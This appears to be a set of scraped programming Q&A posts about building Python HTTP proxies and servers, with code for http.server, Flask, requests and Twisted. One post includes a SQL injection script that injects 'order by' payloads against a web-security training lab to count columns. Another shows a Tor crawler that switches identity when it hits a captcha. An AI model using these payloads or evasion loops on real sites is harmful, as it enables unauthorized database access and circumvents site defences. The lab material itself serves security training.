I have seen code like this that shows how to use a proxy for python requests.
import requests
proxies = {
'http': 'http://localhost:7777',
'https': 'http://localhost:7777',
}
requests.get('http://example.org', proxies=proxies)
requests.get('https://example.org', proxies=proxies)
But I am wondering how can we make a very simple proxy server in Python that would be able to respond to the GET request?
You can find many examples how to do it - even in questions on Stackoverflow.
Some of them use standard module socket (but it doesn't look simply).
Other use standard module http but they show code for Python 2 which was using different names.
Version for Python 3
import http.server
import socketserver
import urllib.request
class MyProxy(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(self.path)
url = self.path
self.send_response(200)
self.end_headers()
self.copyfile(urllib.request.urlopen(url), self.wfile)
# --- main ---
PORT = 7777
httpd = None
try:
socketserver.TCPServer.allow_reuse_address = True # solution for `OSError: [Errno 98] Address already in use`
httpd = socketserver.TCPServer(('', PORT), MyProxy)
print(f"Proxy at: http://localhost:{PORT}")
httpd.serve_forever()
except KeyboardInterrupt:
print("Pressed Ctrl+C")
finally:
if httpd:
httpd.shutdown()
#httpd.socket.close()
Test using page httpbin.org
import requests
proxies = {
'http': 'http://localhost:7777',
'https': 'http://localhost:7777',
}
response = requests.get('http://httpbin.org/get', proxies=proxies)
print(response.text)
response = requests.get('http://httpbin.org/get?arg1=hello&arg2=world', proxies=proxies)
print(response.text)
But it works only for HTTP.
For HTTPS it may need to use ssl.socket from module ssl.
And it works only with GET.
For POST, PUT, DELETE, etc. it would need do_POST, do_PUT, do_DELETE, etc. with different code.
EDIT:
def do_POST(self):
url = self.path
# - post data -
content_length = int(self.headers.get('Content-Length', 0)) # <--- size of data
if content_length:
content = self.rfile.read(content_length) # <--- data itself
else:
content = None
req = urllib.request.Request(url, method="POST", data=content)
output = urllib.request.urlopen(req)
# ---
self.send_response(200)
self.end_headers()
self.copyfile(output, self.wfile)
But if you need local proxy only to test your code then you could use
Python module/program: mitmproxy (Man-In-The-Middle-Proxy)
not-python, not-free (but work 30 days for free), with nice GUI: Charles Proxy
More complex OWASP ZAP, Burp Suite (community edition)
Related
I have recently tried the python request module and it seems to work fine up until the point when I include a proxy in the command. I am using the Burp Suite proxy, when I run the code the program gets stuck on the line of code with the request module.
import requests
import sys
import urllib3
#input = "https://0a0100660376e8efc04b1a7600880072.web-security-academy.net/"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
def exploit_sqli_column_number(URL):
path = "filter?category=Tech+gifts"
for i in range(1,51):
sql_payload = "'+order+by+%s--" %i
r = requests.get(url + path + sql_payload, verify = False, proxies = proxies)
res = r.text
if "Internal Server Error" in res:
return i - 1
return False
if __name__ == "__main__":
try:
url = sys.argv[1]
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
print("[-] Example: %s www.example.com" % sys.argv[0])
sys.exit(-1)
print("[+] Figuring out number of columns.")
num_col = exploit_sqli_column_number(URL)
if num_col:
print("[+] The number of columns is " + str(num_col)
+ ".")
else:
print("[-] The SQL Injection was not successful.")
I have tried other scripts where I just make the request without using the proxy and it works just fine, I have also checked the IP address and the Port, so there should be no issues with that.
Thank you for help in advance.
This code works for me:
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8085', 'https': 'https://127.0.0.1:8085'}
r = requests.get('https://www.google.com', verify = False, proxies = proxies)
print(r)
I'd make sure you set the correct ports in Burp Suite under Proxy -> Options, and make sure you turn off intercept. If your code is just hanging and not giving any error then the issues is you have not turned off intercept. I would try using a port other than the default 8080 for your proxy.
Below is what I have tried.
import http.server
import socketserver
import requests
PORT = 8000
Handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
def api(data):
r = requests.post('http://localhost:8000/api', json=data)
return r.json()
Getting below error with above code.
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Postman should be able to send post request having json body.
You didn't show full error message and I don't use Windows to test it but SimpleHTTPRequestHandler doesn't have function do_POST to receive POST request and this can make problem.
You will have to use SimpleHTTPRequestHandler to create own class with do_POST.
And this function will need to
get header information
read JSON string
convert request data from JSON string to dictionary
convert response data from dictionary to JSON string
send headers
send JSON string
so it will need a lot of work.
Minimal working server
import http.server
import socketserver
import json
PORT = 8000
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
# - request -
content_length = int(self.headers['Content-Length'])
#print('content_length:', content_length)
if content_length:
input_json = self.rfile.read(content_length)
input_data = json.loads(input_json)
else:
input_data = None
print(input_data)
# - response -
self.send_response(200)
self.send_header('Content-type', 'text/json')
self.end_headers()
output_data = {'status': 'OK', 'result': 'HELLO WORLD!'}
output_json = json.dumps(output_data)
self.wfile.write(output_json.encode('utf-8'))
Handler = MyHandler
try:
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print(f"Starting http://0.0.0.0:{PORT}")
httpd.serve_forever()
except KeyboardInterrupt:
print("Stopping by Ctrl+C")
httpd.server_close() # to resolve problem `OSError: [Errno 98] Address already in use`
And testing code
import requests
data = {'search': 'hello world?'}
r = requests.post('http://localhost:8000/api', json=data)
print('status:', r.status_code)
print('json:', r.json())
This example doesn't check if you run /api or /api/function or /api/function/arguments because it would need much more code.
So pure python API without framework can need a lot of work and it can be waste of time.
The same code with Flask. It is much shorter and it already checks if you send to /api.
from flask import Flask, request, jsonify
app = Flask(__name__)
#app.route('/api', methods=["GET", "POST"])
def api():
input_data = request.json
print(input_data)
output_data = {'status': 'OK', 'result': 'HELLO WORLD!'}
return jsonify(output_data)
if __name__ == '__main__':
#app.debug = True
app.run(host='0.0.0.0', port=8000)
BTW:
If you want to test post data then you can use portal http://httpbin.org and send POST request to http://httpbin.org/post and it will send back all data and headers.
It can be used also for other requests and data.
This portal was created with Flask and there is even link to source code so you can install it on own computer.
It seems httpbin is part of Postman repo on GitHub.
Im trying to create a simple HTTP server that will receive POST messages and provide a simple response. Im using the standard HTTPServer with python. The client connects using a session() which should use a persistent connection but after each POST I see the message below in the debug that the connection is dropping.
INFO:urllib3.connectionpool:Resetting dropped connection:
DEBUG:urllib3.connectionpool:"GET / HTTP/1.1" 200 None
The client works properly when I try it with Apache so I believe the issue is in my simple server configuration. How can I configure the simple http server to work with persistent connections?
Simple Server Python Code:
from http.server import HTTPServer, BaseHTTPRequestHandler
from io import BytesIO
import time
import datetime
import logging
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header("Connection", "keep-alive")
self.send_header("keep-alive", "timeout=5, max=30")
self.end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, world!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
curr_time = datetime.datetime.now()
data = ('{"msgid":"0x0002", "timestamp": "'+ str(curr_time) +'", "message":"Test http response from Raspberry Pi HTTP server"}').encode()
self.send_response(200)
self.end_headers()
response = BytesIO()
#response.write(b'This is POST request. ')
#response.write(b'Received: ')
response.write(data)
self.wfile.write(response.getvalue())
print("Simple HTTP Server running...")
logging.basicConfig(level=logging.DEBUG)
httpd = HTTPServer(('', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()
Client Python code:
#!/usr/bin/env python
# Using same TCP connection for all HTTP requests
import os
import json
import time
import datetime
import logging
import requests
from requests.auth import HTTPBasicAuth
logging.basicConfig(level=logging.DEBUG)
start_time = time.time()
def get_data(limit):
session = requests.Session()
url = "http://localhost:8000"
for i in range(10):
curr_time = datetime.datetime.now()
data = '{"msgid":"0x0001", "timestamp": "'+ str(curr_time) +'", "message":"Test http message from Raspberry Pi"}'
print("Sending Data: " + data)
response = session.post(url.format(limit), data)
#response_dict = json.loads(response.text)
print("Received Data: " + response.text)
if __name__ == "__main__":
limit = 1
get_data(limit)
print("--- %s seconds ---" % (time.time() - start_time))
You aren't actually setting the Connection header in your POST handler. In order for persistent connections to work, you'll also need to set the Content-Length header in the response so that client knows how many bytes of the HTTP body to read before reusing the connection.
Try this POST handler, adapted from your code:
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
# Process the request here and generate the entire response
response_data = b'{"stuff": 1234}'
# Send the response
self.send_response(200)
self.send_header("Connection", "keep-alive")
self.send_header("Content-Length", str(len(response_data)))
self.end_headers()
# Write _exactly_ the number of bytes specified by the
# 'Content-Length' header
self.wfile.write(response_data)
I am trying to build multi threaded crawler that uses tor proxies:
I am using following to establish tor connection:
from stem import Signal
from stem.control import Controller
controller = Controller.from_port(port=9151)
def connectTor():
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
socket.socket = socks.socksocket
def renew_tor():
global request_headers
request_headers = {
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": random.choice(BROWSERS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": "http://thewebsite2.com",
"Connection": "close"
}
controller.authenticate()
controller.signal(Signal.NEWNYM)
Here is url fetcher:
def get_soup(url):
while True:
try:
connectTor()
r = requests.Session()
response = r.get(url, headers=request_headers)
the_page = response.content.decode('utf-8',errors='ignore')
the_soup = BeautifulSoup(the_page, 'html.parser')
if "captcha" in the_page.lower():
print("flag condition matched while url: ", url)
#print(the_page)
renew_tor()
else:
return the_soup
break
except Exception as e:
print ("Error while URL :", url, str(e))
I am then creating multithreaded fetch job:
with futures.ThreadPoolExecutor(200) as executor:
for url in zurls:
future = executor.submit(fetchjob,url)
then I am getting following error, which I am not seeing when I use multiprocessing:
Socket connection failed (Socket error: 0x01: General SOCKS server failure)
I would appreciate Any advise to avoid socks error and improving the performance of crawling method to make it multi threaded.
This is a perfect example of why monkey patching socket.socket is bad.
This replaces the socket used by all socket connections (which is most everything) with the SOCKS socket.
When you go to connect to the controller later, it attempts to use the SOCKS protocol to communicate instead of establishing a direct connection.
Since you're already using requests, I'd suggest getting rid of SocksiPy and the socks.socket = socks.socksocket code and using the SOCKS proxy functionality built into requests:
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
response = r.get(url, headers=request_headers, proxies=proxies)
How can I work on this code to be able to send 2 separate requests. The requests would be in this order:
Request1 :
HEAD http://google.com
Host: google.com
... wait for reply from google server ...
Request2 :
GET http://yahoo.com HTTP/1.1
User-Agent: mozilla
Accept: */*
... second request sent from browser while first request is static for all requests ...
The code I’m trying to modify is:
from twisted.web import proxy, http
class SnifferProxy(proxy.Proxy):
def allContentReceived(self):
print "Received data..."
print "method = %s" % self._command
print "action = %s" % self._path
print "ended content manipulation\n\n"
return proxy.Proxy.allContentReceived(self)
class ProxyFactory(http.HTTPFactory):
protocol = SnifferProxy
if __name__ == "__main__":
from twisted.internet import reactor
reactor.listenTCP(8080, ProxyFactory())
reactor.run()
The twisted proxy would be connecting to another external proxy
Any help is appreciated..
I think you can get what you want by adding the call to the Proxy.allContentReceived method as a callback to a HEAD request using Agent.
from twisted.internet import reactor from twisted.web import proxy, http
from twisted.web.client import Agent
from twisted.web.http_headers import Headers
agent = Agent(reactor)
class SnifferProxy(proxy.Proxy):
def allContentReceived(self):
def cbHead(result):
print "got response for HEAD"
def doProxiedRequest(result):
proxy.Proxy.allContentReceived(self)
# I assumed self._path, but it looks OP wants to do the
# HEAD request to the same path always
PATH = "http://foo.bar"
d = agent.request(
'HEAD', PATH, Headers({'User-Agent': ['twisted']}), None)
d.addCallback(cbHead)
d.addCallback(doProxiedRequest)